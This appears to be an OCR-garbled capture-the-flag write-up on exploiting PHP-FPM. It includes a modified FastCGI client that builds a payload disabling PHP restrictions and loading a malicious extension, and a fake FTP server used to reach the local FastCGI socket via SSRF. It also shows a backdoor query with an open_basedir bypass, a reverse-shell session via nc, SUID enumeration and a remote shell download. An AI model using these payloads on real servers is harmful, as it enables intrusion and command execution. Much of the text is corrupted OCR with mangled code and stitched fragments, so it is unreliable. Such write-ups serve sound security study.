* @param String $content Content of the packet
* @param Integer $requestId RequestId

*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_ 1) /* version */
. chr($type) /* type */
. chr(($requestId >> 8) & OXFF) /* requestIdBl */
. chr($requestId & OxFF) /* requestIdBo */
. chr(($clen >> 8 ) & OxFF) /* contentlLengthBl1 */
. chr($clen & OxFF) /* contentlLengthBo */
. chr(9) /* paddinglLength */
. chr(9) /* reserved */
. $content; /* content */
}
/**

* Build an FastCGI Name value pair

*

* @param String $name Name

* @param String $value Value

* @return String FastCGI Name value pair
*/



private function buildNvpair($name, $value)

{

$nlen

strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* namelengthBO */
$nvpair = chr($nlen);
} else {
/* namelengthB3 & namelengthB2 & namelLengthBl & namelLengthBo */

$nvpair = chr(($nlen >> 24) | 0x80@) . chr(($nlen >> 16) & @OxFF) . chr(($nlen >> 8) & @OxFF) . chr($nl

en & OxFF);
}
if ($vlen < 128) {
/* valuelengthBo */
$nvpair .= chr($vlen);
} else {

/* valuelengthB3 & valuelLengthB2 & valuelengthBl & valuelengthBo */
$nvpair .= chr(($vlen >> 24) | ox80) . chr(($vlen >> 16) & OxFF) .

len & OxFF);
¥
/* nameData & valueData */
return $nvpair . $name . $value;
¥
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
¥
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & OX7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & OX7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}

$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);

$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet

*

« A ~_ A —-

chr(($vlen >> 8) & OXFF) . chr($v



~ @param >Tring $data >STring containing diLl Tne pacretT
* @return array

*/

private function decodePacketHeader($data)

{
$ret = array();
$ret[ 'version'] = ord($data{e});
$ret[ "type'] = ord($data{1});
$ret[ 'requestId'] = (ord($data{2}) << 8) + ord($data{3});
$ret[ 'contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret[ 'paddingLength'] = ord($data{6});
$ret[ 'reserved'] = ord($data{7});
return $ret;

}

VAL

* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len = $resp['contentLength'];
while ($len && $buf=fread($this->_sock, $len)) {
$len -= strlen($buf);
$resp['content'] .= $buf;

}
if ($resp['paddingLength’]) {
$buf=fread($this->_sock, $resp['paddinglLength']);
}
return $resp;
} else {
return false;

}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
* @return array
*/
public function getValues(array $requestedInfo)
{

$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {

throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT'");



/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
* @return String
*/
public function request(array $params, $stdin)

{

$response = g
// $this->connect();
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(®) . chr(self::RESPONDER) . chr((int) $this->_kee
pAlive) . str_repeat(chr(@), 5));
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
}
$request .= $this->buildPacket(self::PARAMS, '');
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin);
¥
$request .= $this->buildPacket(self::STDIN, '');
echo('data=".urlencode($request));

// fwrite($this->_sock, $request);
// do {
// $resp = $this->readPacket();
// if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
// $response .= $resp[ 'content'];
// }
// } while ($resp && $resp['type'] != self::END_REQUEST);
// var_dump($resp) ;
// if (!is_array($resp)) {
// throw new Exception( 'Bad request');
// }
// switch (ord($resp['content']{4})) {
// case self::CANT_MPX_CONN:
// throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
// break;
// case self::0OVERLOADED:
// throw new Exception('New request rejected; too busy [OVERLOADED]');
// break;
// case self::UNKNOWN_ROLE:
// throw new Exception('Role value not known [UNKNOWN_ROLE]');
// break;
// case self::REQUEST _COMPLETE:
// return $response;
// }
}
}
?>
<?php

// real exploit start here

//1f (!isset($ _REQUEST['cmd'])) {

// die("Check your input\n");

//}

//if (!isset($_REQUEST[ 'filepath'])) {



//  $filepath = _FILE ;
//telse{
// $filepath = $§ REQUEST[ 'filepath'];
//}
= "/var/www/html/add_api.php" //  HEEEYLEHIBIPHP X AEH) 517
= '/'.basename
= .'?"."'command=whoami" /] BEHE, THE
= new FCGIClient("unix:///var/run/php-fpm.sock", -1
= "<?php system(\$_REQUEST['command']); phpinfo(); ?>" /) EHUNE, THE

= "unserialize_callback_func = system\nextension_dir = /tmp\nextension = hpdoger.so\ndisable_classes

= \ndisable_functions = \nallow_url _include = On\nopen_basedir = /\nauto_prepend_file =

= array
"GATEWAY_INTERFACE' => 'FastCGI/1.0'
'REQUEST_METHOD' => 'POST'
'SCRIPT_FILENAME' =>
'SCRIPT_NAME' =>
"QUERY_STRING' => 'command=whoami'
'REQUEST_URT' =>
'DOCUMENT_URT" =>

#'DOCUMENT_ROOT ' = '/,
'PHP_VALUE' =>
'SERVER_SOFTWARE' => '80@sec/wofeiwo’
'REMOTE_ADDR' => '127.0.0.1"
'REMOTE_PORT" => '9001"'
'SERVER_ADDR' => '127.0.0.1"
'SERVER_PORT" => '80"'
'SERVER_NAME' => 'localhost’
'SERVER_PROTOCOL ' => 'HTTP/1.1"'
"CONTENT_LENGTH' => strlen

// print_r($ _REQUEST);

// print_r($params);

//echo "Call: $uri\n\n";

echo ->request ."\n"
?>

iuSir\Desktop
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import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 23))

s.listen(1)

conn, addr = s.accept()

conn.send(b'220 welcome\n"')

#Service ready for new user.

#Client send anonymous username

#USER anonymous

conn.send(b'331 Please specify the password.\n')
#User name okay, need password.

#Client send anonymous password.

#PASS anonymous

conn.send(b'230 Login successful.\n")

#User logged in, proceed. Logged out if appropriate.
#TYPE I

conn.send(b'200 Switching to Binary mode.\n')

#Size /

conn.send(b'550 Could not get the file size.\n')
#EPSV (1)

conn.send(b'150 ok\n")

#PASV

conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9001)\n"') #STOR / (2)
conn.send(b'150 Permission denied.\n')

#QUIT

conn.send(b'221 Goodbye.\n")

conn.close()

vil ftp.py

RIGHE vps IR —AN nc Wr, B FERR#Kshell:

Ubuntu:~# nc

BJEBiT eval() #iEan T B 2AMEE D file_put_contents() 58AT vps EBEK ftp MRS 28 &R

/add_api.phprbackdoor= = ['file']; = ['data'];file_put_contents( B );&file=ftp://aaa
@47.93.244.181:23/1238&data=%01%01%00%01%00%08%00%00/500%01%00%00%005%00%00/500%01%04%00%01%02%3F 500%00%11%0BGATEWAY
_INTERFACEFastCGI%2F1.0%0E%04REQUEST METHODPOST%OF%19SCRIPT FILENAME%2Fvar%2Fwwwi2Fhtml%2Fadd_api.php%0B%OCSCRIP
T_NAMEZ%2Fadd_ap1i.php%s0C%OEQUERY_STRINGcommand%s3Dwhoami%0B%1BREQUEST URI%2Fadd_ap1i.php%3Fcommand%3Dwhoami%0C%0CD0O
CUMENT_URI%2Fadd_ap1i.php%09%80%00%00%B3PHP_VALUEunserialize_callback_func+%3D+system%0Aextension_dir+%3D+%2FtmpX%
OAextension+%3D+hpdoger.so%0Adisable_classes+%3D+%0Adisable_functions+%3D+%0Aallow_url_include+%3D+0n%0Aopen_bas
edir+%3D+%2F%0Aauto_prepend_file+%3D+%0F%ODSERVER_SOFTWARE8Osec%2Fwofeiwo%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE _
PORT9001%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAME Localhost%0F%08SERVER_PROTOCOLHTTP%2F1.1%0
E%02CONTENT_LENGTH49%01%04%00%01%00%007500%007%01%05%007%01%001%00%00%3C%3Fphp+system%28%24_REQUEST%5B%27command%27
%5D%29%3B+phpinfo%28%29%3B+%3F%3E%01%05%00%01%00%00%00%00



A, SRERTRA,
B, A copy AT EEGBA I, 7T LUXEE:

] I ] 1 1 1 I ]

/add_api. php?hackdoor= : I HTTP/1.1 200 OK

r("Von');chdir("Von')sini_set('open_basedir','..")schdir('..")schdir('..")schdir('.." 2 Server: openresty

i set('open basedir','/');var dump(scundir(‘ImerJ): HTTP/1. 1 i\ Date: Thu, 10 Jun 2021 15:54
4b495e71-155¢—4¢3b—ab58-27b112e69f8f. node3x=huuoj. cn Content-Type: text/html; cha

-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x6T:~yv:89.0) Gecko/20100101 5 Connection: close

fox/89.0 6 X-Powered-By: PHP/7.4.16

pt: text/html,application/xhtml+xml,application/xml;q=0. Fygage/ webp, */%;q=0.8 7 Content-Length: 96

pt-Language: zh—CN, zh;q=0. 8, zh-TW; q=0. 7, zh-HK; q=0. 5, en-US; g=0% 8

pt-Encoding: gzip, deflate

ection: close

ie: UM _distinctid=1799e0d36df25e-09bl34c2abdbef-4¢312¢72-144000-
ion=0Ned3{4a9-9eab-46dd-9deT-c

9e9281Bel88. Nos41nGSULO

35%3
38%30%36

3a%34%3a%22%55%73%65%7 2%22%3a%3 1%3a%Th%73%3a%
h33%33%3T%32%30%33%36%38%35%34%3THI THISN
ade-Insecure-Requests: 1

e—Control: max—age=0

HMEBEIREHEI T -

i, BERT, TR,

h22%63%6 % 75%6e%T4%22%
H3b%7d

T99e0d36e
gHnJe jRmi UH[HJY: data—

root@iZ2zeeld965n881ix8jz5v27:~# nc -Lvp

Listening on
Connection from
bash:
bash: job control in this shell
wwvi-data@lbf63afd9cbb:~/html$ 1s
1s

Von

add api.php

bg.jpg

index.html

(family @,
port

BERIERNT, PRAE

GET /add_api. php?backdoor=
mkdir('Von');chdir("Von');ini_set ('open
);ini_set('open_basedir','/');
2 Host: 4b495e71-15bc—4c3b—abb8—2T
y User—Agent: Mozilla/5.0 (Windows NT lU 0;
Firefox/89.0
I Accept: text/html,application/xhtml+xml,application/xml
Accept—Language: zh—CN,zh;q=0. 8, zh-

basedir','..");

Win64; x64;

6 Accept—-Encoding: gzip, deflate
7 Connection: close
5 Cookie: UM_distinctid=1799e0d36df25e-09b134c2ab4bef—4c3

9e

session=0ed3f4a9- 154 1nGSUL
At h22%5 65%72%22
2%32%33%33%37%32%30%3 3%36%38%:
Upgrade*lnbegure*ReqUebLb_ 1
) Cache-Control: max-age=0

b-46dd-9de7-¢ 31‘)2?‘)’[?}0[?‘)’3 Ne

3.1 ##L:

cannot set terminal process group

var dump(scdndtr( Jtmp') ) ;
f. cn

TW; q=0. 7, zh-HK; g=0. 5,

port

y (13):

chdir('..")
HTTP/1.1

;ehdir('.. ") ;ehd

«.89.0) Gecko/20100101

;q=0.9, Thege/webp, */#;q=0. 8

en—US; g=0. :

f2c72-144000-1799e0d36e07
0_glnJe jRmieMIRuY; data=
22 h63%6 FH75%6eM74%22%3b%69%

3b%h69%3ak:

397

I (family 2

T

ir(". .

3ah39%:

 string(2)

) array (3)

[0]=>
string(1)
[1]=>

[2]1=>

string(10) "hpdoger. so"

, sport

Inapproprlate ioctl for device

_Adam

HTTP/1.1 200 OK

Server: openresty

, Date: Thu, 10 Jun 2021 15:54:
Content-Type: text/html; char
Connection: close

PHP/7. 4.
96

X-Powered-By: 16

Content-Length

) array (3)

[0]=>
string(1)
[1]=>
string(2)
[2]=>
string(10)

1
I

"hpdoger. so"



cat flag

cat: flag: Pe n denie

www -data@lbf63 .chh /% whoaml

whoami

www-data

www-data@lbf63afd9cbb: /% 1s -1

s -1

total 8

root root 179 Apr 29 14:53 bin
root root 6 Mar 19 2: boot
root root 340 10 1 2 dev
root root 66 10 14:32 etc
root root 43 10 ] 2 flag
root root 6 Mar 19 23 44 Tome
root root . Dr 29 14:53 lib
root root 34 Ap 1lib64
root root 6 AP 3-'*3 Elﬁﬂmtf'qﬁe{?ia_“'jﬂ”‘

drwxr-xr-x

drwxr-xr-x
drwxr-xr-x
drwxr-xr-x

drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x

N S T L B e L i e L ]

ETRBERR T, B LKA suid AL
HEEERA suid M

find / -perm -u=s -type f 2>/dev/null

www-data@lbf63afd9cbb: /$ find / -perm -u=s -type f 2=
find / -perm -u=s -type f 2=
/bin/mount

/bin/su

/bin/umount

fusr/bin/chfn

/fusr/bin/chsh
/fusr/bin/gpasswd
/fusr/bin/newgrp
/fusr/bin/passwd
/fusr/local/bin/php
www-data@lbf63afdocbb: /s [}

log.csdn.net/Zero_Adam

mkdir('test');chdir('test');ini_set('open_basedir','.."');chdir('..");chdir("'..");chdir("'..");chdir("'..");chdir("’

chdir('..");chdir('..");chdir('..");ini_set('open_basedir','/");var_dump(file_get contents('/flag'
catir & #lidisable T . Fifile_get_contents>k,

RIMphpsifsuid, BIEHAZ ELEMATRIG, 153 fag:

kdlr ( 'ter.t' );chdir('test');ini set('open basedir','..');chdir("*.."');chdir('..");chdir("..");chdir('..");chdir("..");chdir('..");chdir("..");
vasedir', '/");var_dump(file_get_contents('/flag'));

3.2 B S K i B ok

RABRE,



BHRAERE shell & GET F¥EM. « RANTBIER WEHER, ABEE, HAIALL copy(’http:/mww.vps/shell.php*,
“ariwww/html/”). XFERRAT 7. REF—A shellSCHT .

5 IR T

RGBS — TWSIHERRS, , ik 127.0.0.1:9001 84T T - BH KRB
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